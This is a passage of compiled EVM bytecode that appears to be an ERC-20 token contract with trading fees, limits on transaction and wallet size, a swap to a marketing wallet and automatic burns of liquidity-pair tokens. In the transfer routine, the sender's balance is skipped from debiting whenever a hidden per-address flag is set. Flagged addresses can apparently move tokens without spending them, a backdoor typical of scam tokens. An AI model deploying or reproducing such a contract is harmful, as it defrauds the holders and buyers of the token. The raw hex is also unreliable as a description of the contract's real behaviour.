ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200074c3382620007e960201b60201c565b5050505050505050505062001182565b600033905090565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200085b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008529062001132565b60405180910390fd5b6200086f600083836200096160201b60201c565b806002600082825462000883919062001096565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008da919062001096565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000941919062001165565b60405180910390a36200095d600083836200096660201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620009d48262000989565b810181811067ffffffffffffffff82111715620009f657620009f56200099a565b5b80604052505050565b600062000a0b6200096b565b905062000a198282620009c9565b919050565b600067ffffffffffffffff82111562000a3c5762000a3b6200099a565b5b62000a478262000989565b9050602081019050919050565b60005b8381101562000a7457808201518184015260208101905062000a57565b60008484015250505050565b600062000a9762000a918462000a1e565b620009ff565b90508281526020810184848401111562000ab65762000ab562000984565b5b62000ac384828562000a54565b509392505050565b600082601f83011262000ae35762000ae26200097f565b5b815162000af584826020860162000a80565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b2b8262000afe565b9050919050565b62000b3d8162000b1e565b811462000b4957600080fd5b50565b60008151905062000b5d8162000b32565b92915050565b6000806000806080858703121562000b805762000b7f62000975565b5b600085015167ffffffffffffffff81111562000ba15762000ba06200097a565b5b62000baf8782880162000acb565b945050602085015167ffffffffffffffff81111562000bd35762000bd26200097a565b5b62000be18782880162000acb565b935050604062000bf48782880162000b4c565b925050606062000c078782880162000b4c565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c6657607f821691505b60208210810362000c7c5762000c7b62000c1e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ce67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000ca7565b62000cf2868362000ca7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d3f62000d3962000d338462000d0a565b62000d14565b62000d0a565b9050919050565b6000819050919050565b62000d5b8362000d1e565b62000d7362000d6a8262000d46565b84845462000cb4565b825550505050565b600090565b62000d8a62000d7b565b62000d9781848462000d50565b505050565b5b8181101562000dbf5762000db360008262000d80565b60018101905062000d9d565b5050565b601f82111562000e0e5762000dd88162000c82565b62000de38462000c97565b8101602085101562000df3578190505b62000e0b62000e028562000c97565b83018262000d9c565b50505b505050565b600082821c905092915050565b600062000e336000198460080262000e13565b1980831691505092915050565b600062000e4e838362000e20565b9150826002028217905092915050565b62000e698262000c13565b67ffffffffffffffff81111562000e855762000e846200099a565b5b62000e91825462000c4d565b62000e9e82828562000dc3565b600060209050601f83116001811462000ed6576000841562000ec1578287015190505b62000ecd858262000e40565b86555062000f3d565b601f19841662000ee68662000c82565b60005b8281101562000f105784890151825560018201915060208501945060208101905062000ee9565b8683101562000f30578489015162000f2c601f89168262000e20565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000f5e5762000f5d62000975565b5b600062000f6e8482850162000b4c565b91505092915050565b62000f828162000b1e565b82525050565b600060408201905062000f9f600083018562000f77565b62000fae602083018462000f77565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ff18262000d0a565b915062000ffe8362000d0a565b92508282026200100e8162000d0a565b9150828204841483151762001028576200102762000fb5565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200106b8262000d0a565b9150620010788362000d0a565b9250826200108b576200108a6200102f565b5b828204905092915050565b6000620010a38262000d0a565b9150620010b08362000d0a565b9250828201905080821115620010cb57620010ca62000fb5565b5b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200111a601f83620010d1565b91506200112782620010e2565b602082019050919050565b600060208201905081810360008301526200114d816200110b565b9050919050565b6200115f8162000d0a565b82525050565b60006020820190506200117c600083018462001154565b92915050565b60805160a051614021620011e060003960008181610e7f0152818161279c015281816128550152612882015260008181610b4301528181612c9901528181612d7a01528181612da101528181612e3d0152612e6401526140216000f3fe60806040526004361061026b5760003560e01c806375f0a87411610144578063b62496f5116100b6578063e2f456051161007a578063e2f4560514610973578063e5c96aa41461099e578063f11a24d3146109c7578063f2fde38b146109f2578063f637434214610a1b578063f8b45b0514610a4657610272565b8063b62496f51461087a578063c18bc195146108b7578063c8c8ebe4146108e0578063d85ba0631461090b578063dd62ed3e1461093657610272565b80639d1f645a116101085780639d1f645a146107565780639ec22c0e1461077f578063a26bfdef146107aa578063a457c2d7146107d5578063a4c82a0014610812578063a9059cbb1461083d57610272565b806375f0a8741461067f5780637bce5a04146106aa5780638da5cb5b146106d5578063921369131461070057806395d89b411461072b57610272565b806327c8f835116101dd57806349bd5a5e116101a157806349bd5a5e1461056d5780634a62bb65146105985780634fbee193146105c35780636a486a8e1461060057806370a082311461062b578063715018a61461066857610272565b806327c8f835146104845780632c3e486c146104af5780632e82f1a0146104da578063313ce56714610505578063395093511461053057610272565b8063184c16c51161022f578063184c16c514610372578063199ffc721461039d5780631a8145bb146103c85780631f3fed8f146103f3578063203e727e1461041e57806323b872dd1461044757610272565b806306fdde0314610277578063095ea7b3146102a257806310d5de53146102df5780631694505e1461031c57806318160ddd1461034757610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c610a71565b6040516102999190612fad565b60405180910390f35b3480156102ae57600080fd5b506102c960048036038101906102c49190613068565b610b03565b6040516102d691906130c3565b60405180910390f35b3480156102eb57600080fd5b50610306600480360381019061030191906130de565b610b21565b60405161031391906130c3565b60405180910390f35b34801561032857600080fd5b50610331610b41565b60405161033e919061316a565b60405180910390f35b34801561035357600080fd5b5061035c610b65565b6040516103699190613194565b60405180910390f35b34801561037e57600080fd5b50610387610b6f565b6040516103949190613194565b60405180910390f35b3480156103a957600080fd5b506103b2610b75565b6040516103bf9190613194565b60405180910390f35b3480156103d457600080fd5b506103dd610b7b565b6040516103ea9190613194565b60405180910390f35b3480156103ff57600080fd5b50610408610b81565b6040516104159190613194565b60405180910390f35b34801561042a57600080fd5b50610445600480360381019061044091906131af565b610b87565b005b34801561045357600080fd5b5061046e600480360381019061046991906131dc565b610cb1565b60405161047b91906130c3565b60405180910390f35b34801561049057600080fd5b50610499610da9565b6040516104a6919061323e565b60405180910390f35b3480156104bb57600080fd5b506104c4610daf565b6040516104d19190613194565b60405180910390f35b3480156104e657600080fd5b506104ef610db5565b6040516104fc91906130c3565b60405180910390f35b34801561051157600080fd5b5061051a610dc8565b6040516105279190613275565b60405180910390f35b34801561053c57600080fd5b5061055760048036038101906105529190613068565b610dd1565b60405161056491906130c3565b60405180910390f35b34801561057957600080fd5b50610582610e7d565b60405161058f919061323e565b60405180910390f35b3480156105a457600080fd5b506105ad610ea1565b6040516105ba91906130c3565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e591906130de565b610eb4565b6040516105f791906130c3565b60405180910390f35b34801561060c57600080fd5b50610615610f0a565b6040516106229190613194565b60405180910390f35b34801561063757600080fd5b50610652600480360381019061064d91906130de565b610f10565b60405161065f9190613194565b60405180910390f35b34801561067457600080fd5b5061067d610f58565b005b34801561068b57600080fd5b506106946110b0565b6040516106a1919061323e565b60405180910390f35b3480156106b657600080fd5b506106bf6110d6565b6040516106cc9190613194565b60405180910390f35b3480156106e157600080fd5b506106ea6110dc565b6040516106f7919061323e565b60405180910390f35b34801561070c57600080fd5b50610715611106565b6040516107229190613194565b60405180910390f35b34801561073757600080fd5b5061074061110c565b60405161074d9190612fad565b60405180910390f35b34801561076257600080fd5b5061077d600480360381019061077891906132bc565b61119e565b005b34801561078b57600080fd5b50610794611290565b6040516107a19190613194565b60405180910390f35b3480156107b657600080fd5b506107bf611296565b6040516107cc91906130c3565b60405180910390f35b3480156107e157600080fd5b506107fc60048036038101906107f79190613068565b611351565b60405161080991906130c3565b60405180910390f35b34801561081e57600080fd5b5061082761143c565b6040516108349190613194565b60405180910390f35b34801561084957600080fd5b50610864600480360381019061085f9190613068565b611442565b60405161087191906130c3565b60405180910390f35b34801561088657600080fd5b506108a1600480360381019061089c91906130de565b611460565b6040516108ae91906130c3565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d991906131af565b611480565b005b3480156108ec57600080fd5b506108f5611584565b6040516109029190613194565b60405180910390f35b34801561091757600080fd5b5061092061158a565b60405161092d9190613194565b60405180910390f35b34801561094257600080fd5b5061095d600480360381019061095891906132fc565b611590565b60405161096a9190613194565b60405180910390f35b34801561097f57600080fd5b50610988611617565b6040516109959190613194565b60405180910390f35b3480156109aa57600080fd5b506109c560048036038101906109c091906132bc565b61161d565b005b3480156109d357600080fd5b506109dc61170f565b6040516109e99190613194565b60405180910390f35b3480156109fe57600080fd5b50610a196004803603810190610a1491906130de565b611715565b005b348015610a2757600080fd5b50610a306118db565b604051610a3d9190613194565b60405180910390f35b348015610a5257600080fd5b50610a5b6118e1565b604051610a689190613194565b60405180910390f35b606060038054610a809061336b565b80601f0160208091040260200160405190810160405280929190818152602001828054610aac9061336b565b8015610af95780601f10610ace57610100808354040283529160200191610af9565b820191906000526020600020905b815481529060010190602001808311610adc57829003601f168201915b5050505050905090565b6000610b17610b106118e7565b84846118ef565b6001905092915050565b601a6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b600e5481565b600b5481565b60175481565b60165481565b610b8f6118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c15906133e8565b60405180910390fd5b670de0b6b3a76400006103e86001610c34610b65565b610c3e9190613437565b610c4891906134a8565b610c5291906134a8565b811015610c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8b9061354b565b60405180910390fd5b670de0b6b3a764000081610ca89190613437565b60088190555050565b6000610cbe848484611ab8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d096118e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d80906135dd565b60405180910390fd5b610d9d85610d956118e7565b8584036118ef565b60019150509392505050565b61dead81565b600c5481565b600a60009054906101000a900460ff1681565b60006009905090565b6000610e73610dde6118e7565b848460016000610dec6118e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6e91906135fd565b6118ef565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601860009054906101000a900460ff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f606118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe6906133e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606004805461111b9061336b565b80601f01602080910402602001604051908101604052809291908181526020018280546111479061336b565b80156111945780601f1061116957610100808354040283529160200191611194565b820191906000526020600020905b81548152906001019060200180831161117757829003601f168201915b5050505050905090565b6111a66118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c906133e8565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b60006112a06118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611326906133e8565b60405180910390fd5b6000601860006101000a81548160ff0219169083151502179055506001905090565b600080600160006113606118e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561141d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611414906136a3565b60405180910390fd5b6114316114286118e7565b858584036118ef565b600191505092915050565b600d5481565b600061145661144f6118e7565b8484611ab8565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b6114886118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e906133e8565b60405180910390fd5b600581101561155b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155290613735565b60405180910390fd5b6103e8611566610b65565b826115719190613437565b61157b91906134a8565b60098190555050565b60085481565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b6116256118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab906133e8565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b61171d6118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a3906133e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361181b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611812906137c7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b60095481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361195e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195590613859565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c4906138eb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aab9190613194565b60405180910390a3505050565b601860009054906101000a900460ff1615611ebe57611ad56110dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b435750611b136110dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bcf5750600560149054906101000a900460ff16155b15611ebd57601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c775750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d1e57600854811115611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb89061397d565b60405180910390fd5b600954611ccd83610f10565b82611cd891906135fd565b1115611d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d10906139e9565b60405180910390fd5b611ebc565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dc15750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e1057600854811115611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0290613a7b565b60405180910390fd5b611ebb565b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611eba57600954611e6d83610f10565b82611e7891906135fd565b1115611eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb0906139e9565b60405180910390fd5b5b5b5b5b5b6000611ec930610f10565b905060006007548210159050808015611eef5750600560149054906101000a900460ff16155b8015611f455750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f9b5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ff15750601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612035576001600560146101000a81548160ff021916908315150217905550612019612566565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff1615801561209b5750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156120b35750600a60009054906101000a900460ff165b80156120ce5750600c54600d546120ca91906135fd565b4210155b80156121245750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561213357612131612773565b505b6000600560149054906101000a900460ff16159050601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121e95750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121f357600090505b6000811561240657601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561225657506000601354115b156122f05761228360646122756013548861293990919063ffffffff16565b61294f90919063ffffffff16565b9050601354601554826122969190613437565b6122a091906134a8565b601760008282546122b191906135fd565b92505081905550601354601454826122c99190613437565b6122d391906134a8565b601660008282546122e491906135fd565b925050819055506123e2565b601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561234b57506000601054115b156123e157612378606461236a6010548861293990919063ffffffff16565b61294f90919063ffffffff16565b90506010546012548261238b9190613437565b61239591906134a8565b601760008282546123a691906135fd565b92505081905550601054601154826123be9190613437565b6123c891906134a8565b601660008282546123d991906135fd565b925050819055505b5b60008111156123f7576123f6873083612965565b5b80856124039190613a9b565b94505b6000601c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036124a357846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461249b9190613a9b565b925050819055505b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124f191906135fd565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516125559190613194565b60405180910390a350505050505050565b600061257130610f10565b9050600060165460175461258591906135fd565b90506000808314806125975750600082145b156125a457505050612771565b60146007546125b39190613437565b8311156125cc5760146007546125c99190613437565b92505b6000600283601754866125df9190613437565b6125e991906134a8565b6125f391906134a8565b9050600061260a8286612be490919063ffffffff16565b9050600047905061261a82612bfa565b600061262f8247612be490919063ffffffff16565b9050600061265a8761264c6016548561293990919063ffffffff16565b61294f90919063ffffffff16565b90506000818361266a9190613a9b565b90506000601781905550600060168190555060008611801561268c5750600081115b156126d95761269b8682612e37565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826017546040516126d093929190613acf565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161271f90613b37565b60006040518083038185875af1925050503d806000811461275c576040519150601f19603f3d011682016040523d82523d6000602084013e612761565b606091505b5050809750505050505050505050505b565b600042600d8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f00000000000000000000000000000000000000000000000000000000000000006040518263ffffffff1660e01b81526004016127d7919061323e565b602060405180830381865afa1580156127f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128189190613b61565b90506000612845612710612837600b548561293990919063ffffffff16565b61294f90919063ffffffff16565b9050600081111561287e5761287d7f000000000000000000000000000000000000000000000000000000000000000061dead83612965565b5b60007f000000000000000000000000000000000000000000000000000000000000000090508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156128eb57600080fd5b505af11580156128ff573d6000803e3d6000fd5b505050507f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d60405160405180910390a16001935050505090565b600081836129479190613437565b905092915050565b6000818361295d91906134a8565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129cb90613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3a90613c92565b60405180910390fd5b612a4e838383612f13565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb90613d24565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b6791906135fd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bcb9190613194565b60405180910390a3612bde848484612f18565b50505050565b60008183612bf29190613a9b565b905092915050565b6000600267ffffffffffffffff811115612c1757612c16613d44565b5b604051908082528060200260200182016040528015612c455781602001602082028036833780820191505090505b5090503081600081518110612c5d57612c5c613d73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d269190613db7565b81600181518110612d3a57612d39613d73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612d9f307f0000000000000000000000000000000000000000000000000000000000000000846118ef565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612e01959493929190613edd565b600060405180830381600087803b158015612e1b57600080fd5b505af1158015612e2f573d6000803e3d6000fd5b505050505050565b612e62307f0000000000000000000000000000000000000000000000000000000000000000846118ef565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612ec996959493929190613f37565b60606040518083038185885af1158015612ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612f0c9190613f98565b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f57578082015181840152602081019050612f3c565b60008484015250505050565b6000601f19601f8301169050919050565b6000612f7f82612f1d565b612f898185612f28565b9350612f99818560208601612f39565b612fa281612f63565b840191505092915050565b60006020820190508181036000830152612fc78184612f74565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612fff82612fd4565b9050919050565b61300f81612ff4565b811461301a57600080fd5b50565b60008135905061302c81613006565b92915050565b6000819050919050565b61304581613032565b811461305057600080fd5b50565b6000813590506130628161303c565b92915050565b6000806040838503121561307f5761307e612fcf565b5b600061308d8582860161301d565b925050602061309e85828601613053565b9150509250929050565b60008115159050919050565b6130bd816130a8565b82525050565b60006020820190506130d860008301846130b4565b92915050565b6000602082840312156130f4576130f3612fcf565b5b60006131028482850161301d565b91505092915050565b6000819050919050565b600061313061312b61312684612fd4565b61310b565b612fd4565b9050919050565b600061314282613115565b9050919050565b600061315482613137565b9050919050565b61316481613149565b82525050565b600060208201905061317f600083018461315b565b92915050565b61318e81613032565b82525050565b60006020820190506131a96000830184613185565b92915050565b6000602082840312156131c5576131c4612fcf565b5b60006131d384828501613053565b91505092915050565b6000806000606084860312156131f5576131f4612fcf565b5b60006132038682870161301d565b93505060206132148682870161301d565b925050604061322586828701613053565b9150509250925092565b61323881612ff4565b82525050565b6000602082019050613253600083018461322f565b92915050565b600060ff82169050919050565b61326f81613259565b82525050565b600060208201905061328a6000830184613266565b92915050565b613299816130a8565b81146132a457600080fd5b50565b6000813590506132b681613290565b92915050565b600080604083850312156132d3576132d2612fcf565b5b60006132e18582860161301d565b92505060206132f2858286016132a7565b9150509250929050565b6000806040838503121561331357613312612fcf565b5b60006133218582860161301d565b92505060206133328582860161301d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061338357607f821691505b6020821081036133965761339561333c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133d2602083612f28565b91506133dd8261339c565b602082019050919050565b60006020820190508181036000830152613401816133c5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061344282613032565b915061344d83613032565b925082820261345b81613032565b9150828204841483151761347257613471613408565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134b382613032565b91506134be83613032565b9250826134ce576134cd613479565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000613535602f83612f28565b9150613540826134d9565b604082019050919050565b6000602082019050818103600083015261356481613528565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006135c7602883612f28565b91506135d28261356b565b604082019050919050565b600060208201905081810360008301526135f6816135ba565b9050919050565b600061360882613032565b915061361383613032565b925082820190508082111561362b5761362a613408565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a657